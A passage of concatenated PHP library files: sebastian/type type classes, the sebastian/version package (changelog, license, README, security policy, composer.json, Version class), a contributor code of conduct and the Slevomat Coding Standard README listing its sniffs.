'float', 'int', 'integer', 'real', 'resource', 'resource (closed)', 'string' => new SimpleType($typeName, $allowsNull), 'mixed' => new MixedType, default => new ObjectType(TypeName::fromQualifiedName($typeName), $allowsNull), }; } public function asString(): string { return ($this->allowsNull() ? '?' : '') . $this->name(); } /** * @psalm-assert-if-true CallableType $this */ public function isCallable(): bool { return false; } /** * @psalm-assert-if-true TrueType $this */ public function isTrue(): bool { return false; } /** * @psalm-assert-if-true FalseType $this */ public function isFalse(): bool { return false; } /** * @psalm-assert-if-true GenericObjectType $this */ public function isGenericObject(): bool { return false; } /** * @psalm-assert-if-true IntersectionType $this */ public function isIntersection(): bool { return false; } /** * @psalm-assert-if-true IterableType $this */ public function isIterable(): bool { return false; } /** * @psalm-assert-if-true MixedType $this */ public function isMixed(): bool { return false; } /** * @psalm-assert-if-true NeverType $this */ public function isNever(): bool { return false; } /** * @psalm-assert-if-true NullType $this */ public function isNull(): bool { return false; } /** * @psalm-assert-if-true ObjectType $this */ public function isObject(): bool { return false; } /** * @psalm-assert-if-true SimpleType $this */ public function isSimple(): bool { return false; } /** * @psalm-assert-if-true StaticType $this */ public function isStatic(): bool { return false; } /** * @psalm-assert-if-true UnionType $this */ public function isUnion(): bool { return false; } /** * @psalm-assert-if-true UnknownType $this */ public function isUnknown(): bool { return false; } /** * @psalm-assert-if-true VoidType $this */ public function isVoid(): bool { return false; } abstract public function isAssignable(self $other): bool; abstract public function name(): string; abstract public function allowsNull(): bool; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function count; use function implode; use function sort; final class UnionType extends Type { /** * @psalm-var non-empty-list */ private array $types; /** * @throws RuntimeException */ public function __construct(Type ...$types) { $this->ensureMinimumOfTwoTypes(...$types); $this->ensureOnlyValidTypes(...$types); $this->types = $types; } public function isAssignable(Type $other): bool { foreach ($this->types as $type) { if ($type->isAssignable($other)) { return true; } } return false; } public function asString(): string { return $this->name(); } public function name(): string { $types = []; foreach ($this->types as $type) { if ($type->isIntersection()) { $types[] = '(' . $type->name() . ')'; continue; } $types[] = $type->name(); } sort($types); return implode('|', $types); } public function allowsNull(): bool { foreach ($this->types as $type) { if ($type instanceof NullType) { return true; } } return false; } /** * @psalm-assert-if-true UnionType $this */ public function isUnion(): bool { return true; } public function containsIntersectionTypes(): bool { foreach ($this->types as $type) { if ($type->isIntersection()) { return true; } } return false; } /** * @psalm-return non-empty-list */ public function types(): array { return $this->types; } /** * @throws RuntimeException */ private function ensureMinimumOfTwoTypes(Type ...$types): void { if (count($types) < 2) { throw new RuntimeException( 'A union type must be composed of at least two types' ); } } /** * @throws RuntimeException */ private function ensureOnlyValidTypes(Type ...$types): void { foreach ($types as $type) { if ($type instanceof UnknownType) { throw new RuntimeException( 'A union type must not be composed of an unknown type' ); } if ($type instanceof VoidType) { throw new RuntimeException( 'A union type must not be composed of a void type' ); } } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class UnknownType extends Type { public function isAssignable(Type $other): bool { return true; } public function name(): string { return 'unknown type'; } public function asString(): string { return ''; } public function allowsNull(): bool { return true; } /** * @psalm-assert-if-true UnknownType $this */ public function isUnknown(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class VoidType extends Type { public function isAssignable(Type $other): bool { return $other instanceof self; } public function name(): string { return 'void'; } public function allowsNull(): bool { return false; } /** * @psalm-assert-if-true VoidType $this */ public function isVoid(): bool { return true; } } # ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [4.0.1] - 2023-02-07 ### Fixed * [#17](https://github.com/sebastianbergmann/version/pull/17): Release archive contains unnecessary assets ## [4.0.0] - 2023-02-03 ### Changed * `Version::getVersion()` has been renamed to `Version::asString()` ### Removed * This component is no longer supported on PHP 7.3, PHP 7.4, and PHP 8.0 ## [3.0.2] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [3.0.1] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [3.0.0] - 2020-01-21 ### Removed * This component is no longer supported on PHP 7.1 and PHP 7.2 [4.0.1]: https://github.com/sebastianbergmann/version/compare/4.0.0...4.0.1 [4.0.0]: https://github.com/sebastianbergmann/version/compare/3.0.2...4.0.0 [3.0.2]: https://github.com/sebastianbergmann/version/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/version/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/version/compare/2.0.1...3.0.0 BSD 3-Clause License Copyright (c) 2013-2023, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/sebastian/version/v/stable.png)](https://packagist.org/packages/sebastian/version) # sebastian/version **sebastian/version** is a library that helps with managing the version number of Git-hosted PHP projects. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/version ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/version ``` ## Usage The constructor of the `SebastianBergmann\Version` class expects two parameters: * `$release` is the version number of the latest release (`X.Y.Z`, for instance) or the name of the release series (`X.Y`) when no release has been made from that branch / for that release series yet. * `$path` is the path to the directory (or a subdirectory thereof) where the sourcecode of the project can be found. Simply passing `__DIR__` here usually suffices. Apart from the constructor, the `SebastianBergmann\Version` class has a single public method: `asString()`. Here is a contrived example that shows the basic usage: ```php asString()); ``` ``` string(18) "1.0.0-17-g00f3408" ``` When a new release is prepared, the string that is passed to the constructor as the first argument needs to be updated. ### How SebastianBergmann\Version::asString() works * If `$path` is not (part of) a Git repository and `$release` is in `X.Y.Z` format then `$release` is returned as-is. * If `$path` is not (part of) a Git repository and `$release` is in `X.Y` format then `$release` is returned suffixed with `-dev`. * If `$path` is (part of) a Git repository and `$release` is in `X.Y.Z` format then the output of `git describe --tags` is returned as-is. * If `$path` is (part of) a Git repository and `$release` is in `X.Y` format then a string is returned that begins with `X.Y` and ends with information from `git describe --tags`. # Security Policy This library is intended to be used in development environments only. For instance, it is used by the testing framework PHPUnit. There is no reason why this library should be installed on a webserver. **If you upload this library to a webserver then your deployment process is broken. On a more general note, if your `vendor` directory is publicly accessible on your webserver then your deployment process is also broken.** ## Security Contact Information After the above, if you still would like to report a security vulnerability, please email `sebastian@phpunit.de`. { "name": "sebastian/version", "description": "Library that helps with managing the version number of Git-hosted PHP projects", "homepage": "https://github.com/sebastianbergmann/version", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/version/issues" }, "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "prefer-stable": true, "require": { "php": ">=8.1" }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-main": "4.0-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann; use function end; use function explode; use function fclose; use function is_dir; use function is_resource; use function proc_close; use function proc_open; use function stream_get_contents; use function substr_count; use function trim; final class Version { private readonly string $version; public function __construct(string $release, string $path) { $this->version = $this->generate($release, $path); } public function asString(): string { return $this->version; } private function generate(string $release, string $path): string { if (substr_count($release, '.') + 1 === 3) { $version = $release; } else { $version = $release . '-dev'; } $git = $this->getGitInformation($path); if (!$git) { return $version; } if (substr_count($release, '.') + 1 === 3) { return $git; } $git = explode('-', $git); return $release . '-' . end($git); } private function getGitInformation(string $path): bool|string { if (!is_dir($path . DIRECTORY_SEPARATOR . '.git')) { return false; } $process = proc_open( 'git describe --tags', [ 1 => ['pipe', 'w'], 2 => ['pipe', 'w'], ], $pipes, $path ); if (!is_resource($process)) { return false; } $result = trim(stream_get_contents($pipes[1])); fclose($pipes[1]); fclose($pipes[2]); $returnCode = proc_close($process); if ($returnCode !== 0) { return false; } return $result; } } # Contributor Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project maintainer at . All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] [homepage]: http://contributor-covenant.org [version]: http://contributor-covenant.org/version/1/4/ The MIT License (MIT) Copyright (c) 2015 Slevomat.cz, s.r.o. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # Slevomat Coding Standard [![Latest version](https://img.shields.io/packagist/v/slevomat/coding-standard.svg?colorB=007EC6)](https://packagist.org/packages/slevomat/coding-standard) [![Downloads](https://img.shields.io/packagist/dt/slevomat/coding-standard.svg?colorB=007EC6)](https://packagist.org/packages/slevomat/coding-standard) [![Build status](https://github.com/slevomat/coding-standard/actions/workflows/build.yml/badge.svg?branch=master)](https://github.com/slevomat/coding-standard/actions?query=workflow%3ABuild+branch%3Amaster) [![Code coverage](https://codecov.io/gh/slevomat/coding-standard/branch/master/graph/badge.svg)](https://codecov.io/gh/slevomat/coding-standard) ![PHPStan](https://img.shields.io/badge/style-level%207-brightgreen.svg?&label=phpstan) Slevomat Coding Standard for [PHP_CodeSniffer](https://github.com/PHPCSStandards/PHP_CodeSniffer) provides sniffs that fall into three categories: * Functional - improving the safety and behaviour of code * Cleaning - detecting dead code * Formatting - rules for consistent code looks ## Table of contents 1. [Alphabetical list of sniffs](#alphabetical-list-of-sniffs) 2. [Installation](#installation) 3. [How to run the sniffs](#how-to-run-the-sniffs) - [Choose which sniffs to run](#choose-which-sniffs-to-run) - [Exclude sniffs you don't want to run](#exclude-sniffs-you-dont-want-to-run) 4. [Fixing errors automatically](#fixing-errors-automatically) 5. [Suppressing sniffs locally](#suppressing-sniffs-locally) 6. [Contributing](#contributing) ## Alphabetical list of sniffs 🔧 = [Automatic errors fixing](#fixing-errors-automatically) 🚧 = [Sniff check can be suppressed locally](#suppressing-sniffs-locally) - [SlevomatCodingStandard.Arrays.AlphabeticallySortedByKeys](doc/arrays.md#slevomatcodingstandardarrayalphabeticallysortedbykeys) 🔧 - [SlevomatCodingStandard.Arrays.ArrayAccess](doc/arrays.md#slevomatcodingstandardarraysarrayaccess-) 🔧 - [SlevomatCodingStandard.Arrays.DisallowImplicitArrayCreation](doc/arrays.md#slevomatcodingstandardarraysdisallowimplicitarraycreation) - [SlevomatCodingStandard.Arrays.DisallowPartiallyKeyed](doc/arrays.md#slevomatcodingstandardarraysdisallowpartiallykeyed) 🚧 - [SlevomatCodingStandard.Arrays.MultiLineArrayEndBracketPlacement](doc/arrays.md#slevomatcodingstandardarraysmultilinearrayendbracketplacement-) 🔧 - [SlevomatCodingStandard.Arrays.SingleLineArrayWhitespace](doc/arrays.md#slevomatcodingstandardarrayssinglelinearraywhitespace-) 🔧 - [SlevomatCodingStandard.Arrays.TrailingArrayComma](doc/arrays.md#slevomatcodingstandardarraystrailingarraycomma-) 🔧 - [SlevomatCodingStandard.Attributes.AttributeAndTargetSpacing](doc/attributes.md#slevomatcodingstandardattributesattributeandtargetspacing-) 🔧 - [SlevomatCodingStandard.Attributes.AttributesOrder](doc/attributes.md#slevomatcodingstandardattributesattributesorder-) 🔧 - [SlevomatCodingStandard.Attributes.DisallowAttributesJoining](doc/attributes.md#slevomatcodingstandardattributesdisallowattributesjoining-) 🔧 - [SlevomatCodingStandard.Attributes.DisallowMultipleAttributesPerLine](doc/attributes.md#slevomatcodingstandardattributesdisallowmultipleattributesperline-) 🔧 - [SlevomatCodingStandard.Attributes.RequireAttributeAfterDocComment](doc/attributes.md#slevomatcodingstandardattributesrequireattributeafterdoccomment-) 🔧 - [SlevomatCodingStandard.Classes.BackedEnumTypeSpacing](doc/classes.md#slevomatcodingstandardclassesbackedenumtypespacing-) 🔧 - [SlevomatCodingStandard.Classes.ClassConstantVisibility](doc/classes.md#slevomatcodingstandardclassesclassconstantvisibility-) 🔧 - [SlevomatCodingStandard.Classes.ClassLength](doc/classes.md#slevomatcodingstandardclassesclasslength) - [SlevomatCodingStandard.Classes.ClassMemberSpacing](doc/classes.md#slevomatcodingstandardclassesclassmemberspacing-) 🔧 - [SlevomatCodingStandard.Classes.ClassStructure](doc/classes.md#slevomatcodingstandardclassesclassstructure-) 🔧 - [SlevomatCodingStandard.Classes.ConstantSpacing](doc/classes.md#slevomatcodingstandardclassesconstantspacing-) 🔧 - [SlevomatCodingStandard.Classes.DisallowConstructorPropertyPromotion](doc/classes.md#slevomatcodingstandardclassesdisallowconstructorpropertypromotion) - [SlevomatCodingStandard.Classes.DisallowLateStaticBindingForConstants](doc/classes.md#slevomatcodingstandardclassesdisallowlatestaticbindingforconstants-) 🔧 - [SlevomatCodingStandard.Classes.DisallowMultiConstantDefinition](doc/classes.md#slevomatcodingstandardclassesdisallowmulticonstantdefinition-) 🔧 - [SlevomatCodingStandard.Classes.DisallowMultiPropertyDefinition](doc/classes.md#slevomatcodingstandardclassesdisallowmultipropertydefinition-) 🔧 - [SlevomatCodingStandard.Classes.DisallowStringExpressionPropertyFetch](doc/classes.md#slevomatcodingstandardclassesdisallowstringexpressionpropertyfetch-) 🔧 - [SlevomatCodingStandard.Classes.EmptyLinesAroundClassBraces](doc/classes.md#slevomatcodingstandardclassesemptylinesaroundclassbraces-) 🔧 - [SlevomatCodingStandard.Classes.EnumCaseSpacing](doc/classes.md#slevomatcodingstandardclassesenumcasespacing-) 🔧 - [SlevomatCodingStandard.Classes.ForbiddenPublicProperty](doc/classes.md#slevomatcodingstandardclassesforbiddenpublicproperty) - [SlevomatCodingStandard.Classes.MethodSpacing](doc/classes.md#slevomatcodingstandardclassesmethodspacing-) 🔧 - [SlevomatCodingStandard.Classes.ModernClassNameReference](doc/classes.md#slevomatcodingstandardclassesmodernclassnamereference-) 🔧 - [SlevomatCodingStandard.Classes.ParentCallSpacing](doc/classes.md#slevomatcodingstandardclassesparentcallspacing-) 🔧 - [SlevomatCodingStandard.Classes.PropertyDeclaration](doc/classes.md#slevomatcodingstandardclassespropertydeclaration-) 🔧 - [SlevomatCodingStandard.Classes.PropertySpacing](doc/classes.md#slevomatcodingstandardclassespropertyspacing-) 🔧 - [SlevomatCodingStandard.Classes.RequireAbstractOrFinal](doc/classes.md#slevomatcodingstandardclassesrequireabstractorfinal-) 🔧 - [SlevomatCodingStandard.Classes.RequireConstructorPropertyPromotion](doc/classes.md#slevomatcodingstandardclassesrequireconstructorpropertypromotion-) 🔧 - [SlevomatCodingStandard.Classes.RequireMultiLineMethodSignature](doc/classes.md#slevomatcodingstandardclassesrequiremultilinemethodsignature-) 🔧 - [SlevomatCodingStandard.Classes.RequireSelfReference](doc/classes.md#slevomatcodingstandardclassesrequireselfreference-) 🔧 - [SlevomatCodingStandard.Classes.RequireSingleLineMethodSignature](doc/classes.md#slevomatcodingstandardclassesrequiresinglelinemethodsignature-) 🔧 - [SlevomatCodingStandard.Classes.SuperfluousAbstractClassNaming](doc/classes.md#slevomatcodingstandardclassessuperfluousabstractclassnaming) - [SlevomatCodingStandard.Classes.SuperfluousErrorNaming](doc/classes.md#slevomatcodingstandardclassessuperfluouserrornaming) - [SlevomatCodingStandard.Classes.SuperfluousExceptionNaming](doc/classes.md#slevomatcodingstandardclassessuperfluousexceptionnaming) - [SlevomatCodingStandard.Classes.SuperfluousInterfaceNaming](doc/classes.md#slevomatcodingstandardclassessuperfluousinterfacenaming) - [SlevomatCodingStandard.Classes.SuperfluousTraitNaming](doc/classes.md#slevomatcodingstandardclassessuperfluoustraitnaming) - [SlevomatCodingStandard.Classes.TraitUseDeclaration](doc/classes.md#slevomatcodingstandardclassestraitusedeclaration-) 🔧 - [SlevomatCodingStandard.Classes.TraitUseSpacing](doc/classes.md#slevomatcodingstandardclassestraitusespacing-) 🔧 - [SlevomatCodingStandard.Classes.UselessLateStaticBinding](doc/classes.md#slevomatcodingstandardclassesuselesslatestaticbinding-) 🔧 - [SlevomatCodingStandard.Commenting.AnnotationName](doc/commenting.md#slevomatcodingstandardcommentingannotationname-) - [SlevomatCodingStandard.Commenting.DeprecatedAnnotationDeclaration](doc/commenting.md#slevomatcodingstandardcommentingdeprecatedannotationdeclaration) - [SlevomatCodingStandard.Commenting.DisallowCommentAfterCode](doc/commenting.md#slevomatcodingstandardcommentingdisallowcommentaftercode-) 🔧 - [SlevomatCodingStandard.Commenting.DisallowOneLinePropertyDocComment](doc/commenting.md#slevomatcodingstandardcommentingdisallowonelinepropertydoccomment-) 🔧 - [SlevomatCodingStandard.Commenting.DocCommentSpacing](doc/commenting.md#slevomatcodingstandardcommentingdoccommentspacing-) 🔧 - [SlevomatCodingStandard.Commenting.EmptyComment](doc/commenting.md#slevomatcodingstandardcommentingemptycomment-) 🔧 - [SlevomatCodingStandard.Commenting.ForbiddenAnnotations](doc/commenting.md#slevomatcodingstandardcommentingforbiddenannotations-) 🔧 - [SlevomatCodingStandard.Commenting.ForbiddenComments](doc/commenting.md#slevomatcodingstandardcommentingforbiddencomments-) 🔧 - [SlevomatCodingStandard.Commenting.InlineDocCommentDeclaration](doc/commenting.md#slevomatcodingstandardcommentinginlinedoccommentdeclaration-) 🔧 - [SlevomatCodingStandard.Commenting.RequireOneLineDocComment](doc/commenting.md#slevomatcodingstandardcommentingrequireonelinedoccomment-) 🔧 - [SlevomatCodingStandard.Commenting.RequireOneLinePropertyDocComment](doc/commenting.md#slevomatcodingstandardcommentingrequireonelinepropertydoccomment-) 🔧 - [SlevomatCodingStandard.Commenting.UselessFunctionDocComment](doc/commenting.md#slevomatcodingstandardcommentinguselessfunctiondoccomment-) 🔧 - [SlevomatCodingStandard.Commenting.UselessInheritDocComment](doc/commenting.md#slevomatcodingstandardcommentinguselessinheritdoccomment-) 🔧 - [SlevomatCodingStandard.Complexity.Cognitive](doc/complexity.md#slevomatcodingstandardcomplexitycognitive) - [SlevomatCodingStandard.ControlStructures.AssignmentInCondition](doc/control-structures.md#slevomatcodingstandardcontrolstructuresassignmentincondition) - [SlevomatCodingStandard.ControlStructures.BlockControlStructureSpacing](doc/control-structures.md#slevomatcodingstandardcontrolstructuresblockcontrolstructurespacing-) 🔧 - [SlevomatCodingStandard.ControlStructures.DisallowContinueWithoutIntegerOperandInSwitch](doc/control-structures.md#slevomatcodingstandardcontrolstructuresdisallowcontinuewithoutintegeroperandinswitch-) 🔧 - [SlevomatCodingStandard.ControlStructures.DisallowEmpty](doc/control-structures.md#slevomatcodingstandardcontrolstructuresdisallowempty) - [SlevomatCodingStandard.ControlStructures.DisallowNullSafeObjectOperator](doc/control-structures.md#slevomatcodingstandardcontrolstructuresdisallownullsafeobjectoperator) - [SlevomatCodingStandard.ControlStructures.DisallowShortTernaryOperator](doc/control-structures.md#slevomatcodingstandardcontrolstructuresdisallowshortternaryoperator-) 🔧 - [SlevomatCodingStandard.ControlStructures.DisallowTrailingMultiLineTernaryOperatorSniff](doc/control-structures.md#slevomatcodingstandardcontrolstructuresdisallowtrailingmultilineternaryoperator-) 🔧 - [SlevomatCodingStandard.ControlStructures.DisallowYodaComparison](doc/control-structures.md#slevomatcodingstandardcontrolstructuresdisallowyodacomparison-) 🔧 - [SlevomatCodingStandard.ControlStructures.EarlyExit](doc/control-structures.md#slevomatcodingstandardcontrolstructuresearlyexit-) 🔧 - [SlevomatCodingStandard.ControlStructures.JumpStatementsSpacing](doc/control-structures.md#slevomatcodingstandardcontrolstructuresjumpstatementsspacing-) 🔧 - [SlevomatCodingStandard.ControlStructures.LanguageConstructWithParentheses](doc/control-structures.md#slevomatcodingstandardcontrolstructureslanguageconstructwithparentheses-) 🔧 - [SlevomatCodingStandard.ControlStructures.NewWithParentheses](doc/control-structures.md#slevomatcodingstandardcontrolstructuresnewwithparentheses-) 🔧 - [SlevomatCodingStandard.ControlStructures.NewWithoutParentheses](doc/control-structures.md#slevomatcodingstandardcontrolstructuresnewwithoutparentheses-) 🔧 - [SlevomatCodingStandard.ControlStructures.RequireMultiLineCondition](doc/control-structures.md#slevomatcodingstandardcontrolstructuresrequiremultilinecondition-) 🔧 - [SlevomatCodingStandard.ControlStructures.RequireMultiLineTernaryOperator](doc/control-structures.md#slevomatcodingstandardcontrolstructuresrequiremultilineternaryoperator-) 🔧 - [SlevomatCodingStandard.ControlStructures.RequireNullCoalesceEqualOperator](doc/control-structures.md#slevomatcodingstandardcontrolstructuresrequirenullcoalesceequaloperator-) 🔧 - [SlevomatCodingStandard.ControlStructures.RequireNullCoalesceOperator](doc/control-structures.md#slevomatcodingstandardcontrolstructuresrequirenullcoalesceoperator-) 🔧 - [SlevomatCodingStandard.ControlStructures.RequireNullSafeObjectOperator](doc/control-structures.md#slevomatcodingstandardcontrolstructuresrequirenullsafeobjectoperator-) 🔧 - [SlevomatCodingStandard.ControlStructures.RequireShortTernaryOperator](doc/control-structures.md#slevomatcodingstandardcontrolstructuresrequireshortternaryoperator-) 🔧 - [SlevomatCodingStandard.ControlStructures.RequireSingleLineCondition](doc/control-structures.md#slevomatcodingstandardcontrolstructuresrequiresinglelinecondition-) 🔧 - [SlevomatCodingStandard.ControlStructures.RequireTernaryOperator](doc/control-structures.md#slevomatcodingstandardcontrolstructuresrequireternaryoperator-) 🔧 - [SlevomatCodingStandard.ControlStructures.RequireYodaComparison](doc/control-structures.md#slevomatcodingstandardcontrolstructuresrequireyodacomparison-) 🔧 - [SlevomatCodingStandard.ControlStructures.UselessIfConditionWithReturn](doc/control-structures.md#slevomatcodingstandardcontrolstructuresuselessifconditionwithreturn-) 🔧 - [SlevomatCodingStandard.ControlStructures.UselessTernaryOperator](doc/control-structures.md#slevomatcodingstandardcontrolstructuresuselessternaryoperator-) 🔧 - [SlevomatCodingStandard.Exceptions.DeadCatch](doc/exceptions.md#slevomatcodingstandardexceptionsdeadcatch) - [SlevomatCodingStandard.Exceptions.DisallowNonCapturingCatch](doc/exceptions.md#slevomatcodingstandardexceptionsdisallownoncapturingcatch) - [SlevomatCodingStandard.Exceptions.ReferenceThrowableOnly](doc/exceptions.md#slevomatcodingstandardexceptionsreferencethrowableonly-) 🔧🚧 - [SlevomatCodingStandard.Exceptions.RequireNonCapturingCatch](doc/exceptions.md#slevomatcodingstandardexceptionsrequirenoncapturingcatch-) 🔧 - [SlevomatCodingStandard.Files.FileLength](doc/files.md#slevomatcodingstandardfilesfilelength) - [SlevomatCodingStandard.Files.LineLength](doc/files.md#slevomatcodingstandardfileslinelength) - [SlevomatCodingStandard.Files.TypeNameMatchesFileName](doc/files.md#slevomatcodingstandardfilestypenamematchesfilename) - [SlevomatCodingStandard.Functions.ArrowFunctionDeclaration](doc/functions.md#slevomatcodingstandardfunctionsarrowfunctiondeclaration-) 🔧 - [SlevomatCodingStandard.Functions.DisallowArrowFunction](doc/functions.md#slevomatcodingstandardfunctionsdisallowarrowfunction) - [SlevomatCodingStandard.Functions.DisallowEmptyFunction](doc/functions.md#slevomatcodingstandardfunctionsdisallowemptyfunction) - [SlevomatCodingStandard.Functions.DisallowNamedArguments](doc/functions.md#slevomatcodingstandardfunctionsdisallownamedarguments) - [SlevomatCodingStandard.Functions.DisallowTrailingCommaInCall](doc/functions.md#slevomatcodingstandardfunctionsdisallowtrailingcommaincall-) 🔧 - [SlevomatCodingStandard.Functions.DisallowTrailingCommaInClosureUse](doc/functions.md#slevomatcodingstandardfunctionsdisallowtrailingcommainclosureuse-) 🔧 - [SlevomatCodingStandard.Functions.DisallowTrailingCommaInDeclaration](doc/functions.md#slevomatcodingstandardfunctionsdisallowtrailingcommaindeclaration-) 🔧 - [SlevomatCodingStandard.Functions.FunctionLength](doc/functions.md#slevomatcodingstandardfunctionsfunctionlength) - [SlevomatCodingStandard.Functions.NamedArgumentSpacing](doc/functions.md#slevomatcodingstandardfunctionsnamedargumentspacing-) 🔧 - [SlevomatCodingStandard.Functions.RequireArrowFunction](doc/functions.md#slevomatcodingstandardfunctionsrequirearrowfunction-) 🔧 - [SlevomatCodingStandard.Functions.RequireMultiLineCall](doc/functions.md#slevomatcodingstandardfunctionsrequiremultilinecall-) 🔧 - [SlevomatCodingStandard.Functions.RequireSingleLineCall](doc/functions.md#slevomatcodingstandardfunctionsrequiresinglelinecall-) 🔧 - [SlevomatCodingStandard.Functions.RequireTrailingCommaInCall](doc/functions.md#slevomatcodingstandardfunctionsrequiretrailingcommaincall-) 🔧 - [SlevomatCodingStandard.Functions.RequireTrailingCommaInClosureUse](doc/functions.md#slevomatcodingstandardfunctionsrequiretrailingcommainclosureuse-) 🔧 - [SlevomatCodingStandard.Functions.RequireTrailingCommaInDeclaration](doc/functions.md#slevomatcodingstandardfunctionsrequiretrailingcommaindeclaration-) 🔧 - [SlevomatCodingStandard.Functions.StaticClosure](doc/functions.md#slevomatcodingstandardfunctionsstaticclosure-) 🔧 - [SlevomatCodingStandard.Functions.StrictCall](doc/functions.md#slevomatcodingstandardfunctionsstrictcall) - [SlevomatCodingStandard.Functions.UnusedInheritedVariablePassedToClosure](doc/functions.md#slevomatcodingstandardfunctionsunusedinheritedvariablepassedtoclosure-) 🔧 - [SlevomatCodingStandard.Functions.UnusedParameter](doc/functions.md#slevomatcodingstandardfunctionsunusedparameter-) 🚧 - [SlevomatCodingStandard.Functions.UselessParameterDefaultValue](doc/functions.md#slevomatcodingstandardfunctionsuselessparameterdefaultvalue-) 🚧 - [SlevomatCodingStandard.Namespaces.AlphabeticallySortedUses](doc/namespaces.md#slevomatcodingstandardnamespacesalphabeticallysorteduses-) 🔧 - [SlevomatCodingStandard.Namespaces.DisallowGroupUse](doc/namespaces.md#slevomatcodingstandardnamespacesdisallowgroupuse) - [SlevomatCodingStandard.Namespaces.FullyQualifiedClassNameInAnnotation](doc/namespaces.md#slevomatcodingstandardnamespacesfullyqualifiedclassnameinannotation-) 🔧 - [SlevomatCodingStandard.Namespaces.FullyQualifiedExceptions](doc/namespaces.md#slevomatcodingstandardnamespacesfullyqualifiedexceptions-) 🔧 - 